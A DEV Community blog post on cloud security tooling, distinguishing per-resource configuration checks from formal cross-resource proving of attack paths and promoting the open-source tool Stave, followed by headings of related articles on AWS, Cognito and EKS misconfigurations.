Component 5: Role trust allowing EC2 → S3 access → correct for its purpose

Each component: PASS (individually configured correctly)
The composition: FAIL (WAF → EC2 → IAM → S3 = public to customer data)

No per-resource Security as Code rule catches it. Checkov checks each resource individually. OPA evaluates each policy individually. Each returns PASS. The breach exists in the relationships BETWEEN resources and no single rule sees all five simultaneously.

It's a limitation of the PATTERN: one resource, rule and evaluation. The pattern can't express "does there exist ANY path from a public endpoint to a sensitive resource through ANY chain of role assumptions, policy attachments, and trust relationships?"

That question requires something different.

Two different operations

The distinction is between CHECKING and PROVING:

CHECKING (what Security as Code does):
    "Does this configuration match this rule?"

    Input scope:    one resource
    Rule scope:     one pattern
    Method:         pattern matching on configuration text
    Output:         pass/fail for this resource against this rule
    What it means:  "this resource has (or doesn't have) this specific problem"

PROVING (what reasoning engines do):
    "Does this property hold across all resources and all their relationships?"

    Input scope:    the entire configuration graph
    Rule scope:     a property expressed over relationships
    Method:         logical inference, satisfiability checking, transitive closure
    Output:         verified/violated with evidence trace
    What it means:  "this property holds everywhere" or "here is the specific
                     path/composition that violates it"

Checking asks: "does this resource match this pattern?" Proving asks: "does this property hold across all resources and their interactions?" The first is a pattern match. The second is a logical derivation.

How the two work together

They're complementary layers, like types and tests:

Layer 1 — Per-resource rule checking (Security as Code):
    CEL predicates evaluate each asset against each control.
    2,662 controls. Per-resource. Per-rule. Fast. Deterministic.

    Catches: individual misconfigurations
    Example: "This bucket has public access enabled"
    Example: "This role has admin-level permissions"
    Example: "This security group allows SSH from 0.0.0.0/0"

    Tools: OPA, Checkov, Semgrep, tfsec, Cedar, Stave's CEL controls

Layer 2 — Cross-resource property proving (Reasoning engines):
    SMT solvers, Datalog, Prolog evaluate properties over relationships.
    Transitive closure. Satisfiability. Reachability.

    Catches: compound risks that emerge from composition
    Example: "A privilege escalation path exists through 3 role assumptions"
    Example: "This policy is mathematically equivalent to Principal: *"
    Example: "A public endpoint can reach a sensitive resource through
              a chain of individually-safe configurations"

    Tools: Z3, Soufflé, Prolog, Clingo, AWS Zelkova, Stave's SIR exports

Layer 1 checks settings. Layer 2 proves properties about compositions. You need both.

A team with only Layer 1 catches every misconfigured bucket but misses the Capital One pattern. Because each component passes individually. A team with only Layer 2 proves compound properties but misses the simple misconfiguration. Because the reasoning engine doesn't check every setting against every rule.

The practical workflow

The two layers run in sequence on the same snapshot:

Step 1: Capture configuration snapshot (all resources, all relationships)

Step 2: Layer 1 — Per-resource checks (Security as Code)
        stave apply → evaluates 2,662 CEL controls against each asset
        Catches: individual misconfigurations, per-resource violations
        Output: per-asset findings (the equivalent of Checkov/OPA results)

Step 3: Layer 2 — Cross-resource proving (Reasoning engines)  
        stave export-sir → emits observation properties as triples
        Soufflé/Prolog → computes transitive closure over role chains
        Z3 → proves satisfiability of composed policy logic
        Catches: compound chains, mathematical equivalences, reachability
        Output: property-level verdicts with evidence traces

Step 4: Combined report
        Per-resource findings (Layer 1) + property verdicts (Layer 2)
        The CISO gets: "12 individual misconfigurations AND 2 compound
        attack paths that wouldn't be detected by per-resource checks"

Layer 1 is fast and covers the full catalog. Layer 2 is deeper and covers the compound cases. Both evaluate the same snapshot. Both are deterministic. Both produce evidence.

Where Security as Code tools sit

Tool              Layer 1 (rules)    Layer 2 (properties)    Notes
────────────      ───────────────    ────────────────────    ──────────────
Checkov           Yes                No                      Terraform/K8s rules
OPA/Rego          Yes                Limited                 Can express some cross-resource
Semgrep           Yes                No                      Code patterns
tfsec             Yes                No                      Terraform rules
Cedar             Yes                No                      AWS policy language
Sentinel          Yes                No                      Terraform Enterprise
AWS Config Rules  Yes                No                      AWS-managed rules
Prowler           Yes                No                      AWS CIS/HIPAA checks
ScoutSuite        Yes                No                      Multi-cloud audit

AWS Zelkova       No (internal)      Yes                     IAM policy satisfiability
AWS Tiros         No (internal)      Yes                     VPC network reachability

Stave             Yes (CEL)          Yes (SIR → Z3/Datalog)  Both layers, open source

Most tools are Layer 1 only. AWS has Layer 2 internally (Zelkova, Tiros) but it's not available as a general-purpose tool. It's embedded in specific AWS services (IAM Access Analyzer, VPC Reachability Analyzer). The gap in the market is an open-source tool that does both layers against any configuration snapshot.

Why this distinction matters for practitioners

If you're evaluating cloud security tooling, the question to ask is:

"Can this tool detect a vulnerability that exists only in the composition of multiple correctly-configured resources?"

If the tool evaluates one resource at a time (Layer 1 only), the answer is no. It can catch every individual misconfiguration. It cannot catch the Capital One pattern.

If the tool exports to a reasoning engine that computes transitive closure, satisfiability, or reachability (Layer 2), the answer is yes — for the properties the engine is configured to check.

Both layers are necessary. The individual misconfiguration (open SSH port, public bucket, admin-level role) is the common case. The compound composition (WAF → EC2 → IAM → S3) is the breach case. The tool that catches only the first gives you a false sense of completeness. The tool that catches both gives you the coverage your auditor is asking about.

The terminology, clarified

Term                    What it means                     Layer
──────────────          ─────────────────────────         ─────
Infrastructure as Code  Define infrastructure as code     Input (what's deployed)
Policy as Code          Define policies as code           Layer 1 rules
Security as Code        Define security checks as code    Layer 1 checks
Formal Verification     Prove properties mathematically   Layer 2 proofs

"Security as Code with formal verification" = both layers

Security as Code is Layer 1. Formal verification is Layer 2. You need both. The term for both layers together doesn't have an established name yet. Because almost no tool does both. As the compound detection gap becomes more visible (more Capital One pattern breaches, more multi-hop escalations), the vocabulary will emerge. For now: "Security as Code extended with formal verification" is precise. "Reasoning engine" describes the Layer 2 mechanism without requiring the audience to know formal methods terminology.

The per-resource checks described in this article are implemented as 3,000+ CEL controls in Stave. The cross-resource property proving is implemented through Stave's SIR (Stave Intermediate Representation) export, which emits observation properties as triples consumable by Z3, Soufflé, and Prolog. Both layers evaluate the same configuration snapshot. Both are deterministic. Both are open source. Apache 2.0.

DEV Community: Bala Paranj

The Detection Layer That Was Quietly Off: GuardDuty Disabled on an AWS Account

What the configuration looked like

Why the layers matter together

Why a scanner misses this

The system invariant

What Stave models

The finding

The remediation

The verification

Why this case generalises

How this relates to existing compliance mods

The Lambda Trigger You Deleted is Still Authenticating Users

Ghost References

Cognito triggers and what happens when they're ghosts

Why this happens

The feedback loop that hides the problem

What compound detection finds

The fix

How to check your own environment

The broader pattern

One Callback URL Misconfiguration Leaks Every OAuth Token

How the attack works

The five callback URL mistakes

1. http://localhost:3000/callback

2. http://localhost:* or wildcard port patterns

3. https://*.example.com/callback

4. https://example.com/callback without HTTPS enforcement

5. https://staging.example.com/callback

What your scanner checks

The compound pattern

What compound detection finds

The fix

How to check your own environment

The thirty-second rule

Cognito With the Safety Off: MFA Disabled, Advanced Security Disabled

What "MFA Off" Costs You

What The Bomma Report Showed

The System Invariant

The Stave Control

Why Z3 Doesn't Help

Reproducing The Detection

The Remediation

The Prevention Lesson

Checklist

Your MFA is Enabled. Your Recovery Flow Bypasses It.

How the bypass works

Why this is worse than "MFA not enabled"

The three settings that create the bypass

What your scanner checks vs. what matters

What compound detection finds

The fix

How to check your own environment

The pattern beyond Cognito

One IAM Action Away From Admin: Self-Attach Privilege Escalation

Catastrophic Combination

The System Invariant

The Stave Control

Why CEL is Not The Whole Conversation

The Z3 Witness Model

How This Bug Reaches Production

The Remediation

The Prevention Lesson

Checklist

The Webhook is the Persistence: RBAC Misconfiguration in EKS

Webhook Write

Why the Permission Slipped In

The System Invariant

The Stave Control (CEL Predicate)

Why Z3 Doesn't Help Here

Reproducing The Detection

The Remediation

The Prevention Lesson

Checklist

The Auth Template That Trusted Its Caller: AccessKeyID Injection in EKS

The Fix is Two Words

The System Invariant

The Stave Control

Why Z3 Doesn't Help

Reproducing The Detection

1. `http://localhost:3000/callback`

2. `http://localhost:*` or wildcard port patterns

3. `https://*.example.com/callback`

4. `https://example.com/callback` without HTTPS enforcement

5. `https://staging.example.com/callback`